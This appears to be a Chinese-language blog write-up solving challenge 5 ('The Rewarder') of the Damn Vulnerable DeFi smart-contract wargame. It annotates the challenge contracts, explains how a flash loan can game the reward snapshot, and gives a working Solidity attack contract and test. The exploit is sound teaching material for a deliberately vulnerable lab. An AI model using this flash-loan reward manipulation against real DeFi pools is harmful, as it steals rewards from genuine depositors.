moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:該死的易受攻擊DeFi (五) - 獎勵者

Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/5.html

題目描述:

有一個池子每 5 天為將 DVT 代幣存入其中的人提供代幣獎勵。Alice、Bob、Charlie 和 David 已經存入了一些 DVT 代幣,並贏得了他們的獎勵!

而你沒有任何 DVT 代幣。但在即將到來的一輪中,你必須為自己索取最多的獎勵。

本題目錄中共有 4 個智能合約

  • AccountingToken.sol
  • FlashLoaderPool.sol
  • RewardToken.sol
  • TheRewarderPool.sol

AccountingToken.sol

// 繼承自 ERC20Snapshot 和 AccessControl
contract AccountingToken is ERC20Snapshot, AccessControl {
		// 定義三個角色 minter, snapshot, burner 
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }
    // 銷毀代幣
    function burn(address from, uint256 amount) external {
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }
    // 執行快照
    function snapshot() external returns (uint256) {
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // Do not need transfer of this token
    function _transfer(address, address, uint256) internal pure override {
        revert("Not implemented");
    }

    // Do not need allowance of this token
    function _approve(address, address, uint256) internal pure override {
        revert("Not implemented");
    }
}

AccountingToken 是一個代幣合約,代幣 namerTokensymbolrTKN。繼承自 openzeppelin 中的

  • ERC20Snapshot.sol:該合約主要用來記錄每次進行快照時,某個地址有多少餘額。其內部有以下幾個變量:
    • _currentSnapshotId:自增變量 ,用來記錄每次執行快照的 id。
    • _accountBalanceSnapshots:記錄地址對應的每次快照的餘額。快照的餘額通過結構體 Snapshots 存儲
    • _totalSupplySnapshots:記錄每次快照記錄的代幣總量
  • AccessControl.sol:用來處理角色相關的合約。本質就是存儲每個角色下所擁有的地址。

在該合約的構造函數,給 sender 賦予了四種角色

  • admin_role
  • minter_role
  • snapshot_role
  • burner_role

並且調用方法 mintburnsnapshot 都需要 sender擁有對應的角色。

flashLoanerPool.sol

contract FlashLoanerPool is ReentrancyGuard {

    using Address for address;
		
    // DVT token的實例
    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }
    
    // 閃電貸方法
    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        // 將 DVT token 發送給sender
        liquidityToken.transfer(msg.sender, amount);
        
        // 回調 receiveFlashLoan 方法
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

借貸池合約,提供閃電貸功能。並在閃電貸方法內會回調方法 receiveFlashLoan

RewardToken.sol

contract RewardToken is ERC20, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

token 合約,代幣 symbolRWT, 並且只有 minter_role 角色可以進行 mint

TheRewarderPool.sol

contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    // 多久進行一次獎勵
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
    
    // 上次為了獎勵所執行快照的id
    uint256 public lastSnapshotIdForRewards;
    // 上次執行快照的時間戳
    uint256 public lastRecordedSnapshotTimestamp;
    
    // 記錄地址上次發放獎勵的時間
    mapping(address => uint256) public lastRewardTimestamps;

    // DVT token的實例
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    // rTKN token的實例
    AccountingToken public accToken;
    
    // RWT token的實例
    RewardToken public immutable rewardToken;

    // 記錄發放獎勵的輪次
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    // 存入DVT token
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        // 给予等量的rTKN token
        accToken.mint(msg.sender, amountToDeposit);
        // 分發獎勵
        distributeRewards();
        // 將調用者賬戶的 DVT token 存入該該合約地址中(需要授權)
        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }
    
    // 提取DVt token
    function withdraw(uint256 amountToWithdraw) external {
        // 銷毀 rTKN token
        accToken.burn(msg.sender, amountToWithdraw);
        // 從該合約賬戶轉到調用者賬戶
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }
    
    // 分發獎勵
    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;
        
        // 根據時間判斷是否是新的一輪獎勵發放時間
        if(isNewRewardsRound()) {
            _recordSnapshot();
        }
        // 上次快照 rTKN token 的總存入量
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        // 上次快照時 調用者sender 的存入量
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
        // sender的存入量大於0,且總存入量大於0
        if (amountDeposited > 0 && totalDeposits > 0) {
            // 根據占比計算獎勵的數量
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
            // 可獲得的獎勵大於0, 且未收到過獎勵
            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                // 给予獎勵 RWT token
                rewardToken.mint(msg.sender, rewards);
                // 記錄領取獎勵的時間
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }
    // 執行快照
    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }
    
    // 根據領取獎勵的時間判斷是否領取過獎勵
    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }
    
    // 是否是新的一輪獎勵發放:當前時間 >= 上次獎勵時間 + 5 days
    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

獎勵池合約,當我們調用 deposit 方法存入 DVT token 時,會給你等量的 rTKN token。之後分發獎勵也會根據你所持有的 rTKN token的數量進行等比例分發 RWT token

通過合約的源碼,此時可以做個簡單的總結:

有三個 token, 分別是

  • DVT token
  • rTKN token
  • RWT token

每當有用戶在獎勵池合約中存入 DVT token 時,會给予等量的 rTKN token。並根據當前區塊時間判斷是否到了新一輪的獎勵分發時間。如果到了,則執行快照,記錄此時持有 rTKN token的所有賬戶及其餘額。並根據快照的數據按比例分發 RWT token

或者用戶主動調用 distributeRewards 去領取獎勵。

此時再回過頭看下該題的問題:你沒有 DVT token,但你需要在新一輪的獎勵分發時獲取最多的獎勵。也就意味著在快照時,你需要擁有大量的 rTKN token,而擁有 rTKN token 的前提是存入 DVT token。但是題目明確說明了你沒有 DVT token。所以要想擁有 DVT token ,只能通過借貸池合約借出 DVT token

此時就能明確我們的攻擊流程:

  • 在新一輪的獎勵分發時,通過閃電貸借出全部的 DVT token
  • 在閃電貸的回調方法中,通過調用獎勵池合約中的 deposit 方法,將借出的 DVT token 存入,並獲得等量的 rTKN token , 此時會執行快照,並分發獎勵,獲得 RWT token
  • 調用獎勵池合約的 withdraw, 銷毀擁有的 rTKN token,並將存入的 DVT token 返還給調用者。
  • DVT token 返還給借貸池合約。
  • 將獲得的 RWT token 轉出到攻擊者賬戶。

因此可以寫出我們的攻擊合約

TheRewarderAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";

contract TheRewarderAttack {
  // 獎勵池合約
  TheRewarderPool public rewarderPool;
  // 借貸池合約
  FlashLoanerPool public flashLoanerPool;
  // DVT token
  IERC20 public liquidityToken;

  constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
    rewarderPool = TheRewarderPool(_rewarderPool);
    flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
    liquidityToken = IERC20(_token);
  }
  // 閃電貸回調方法
  function receiveFlashLoan(uint amount) public {
    // 授權 rewarderPool 可以動用 amount 數量的DVT token
    liquidityToken.approve(address(rewarderPool), amount);
    // 存入DVT token
    rewarderPool.deposit(amount);
    // 取出DVT token
    rewarderPool.withdraw(amount);
    // 返還借出的 DVT token 到借貸池合約
    liquidityToken.transfer(address(flashLoanerPool), amount);
  }

  function attack (uint amount) external {
    // 執行閃電貸
    flashLoanerPool.flashLoan(amount);
    // 將獲得的 RWT token 轉出到 sender
    rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
  }
}

最後在測試用例 the-rewarder.challenge.js 編寫我們的執行代碼

it('Exploit', async function () {
  // 部署攻擊合約
  const TheRewarderAttackFactory = await ethers.getContractFactory('TheRewarderAttack', attacker)
  const attackContract = await TheRewarderAttackFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address)
  // 增加時間到5天後
  await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
  // 執行攻擊方法
  await attackContract.attack(TOKENS_IN_LENDER_POOL)
})

執行 yarn the-rewarder, 測試通過!

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。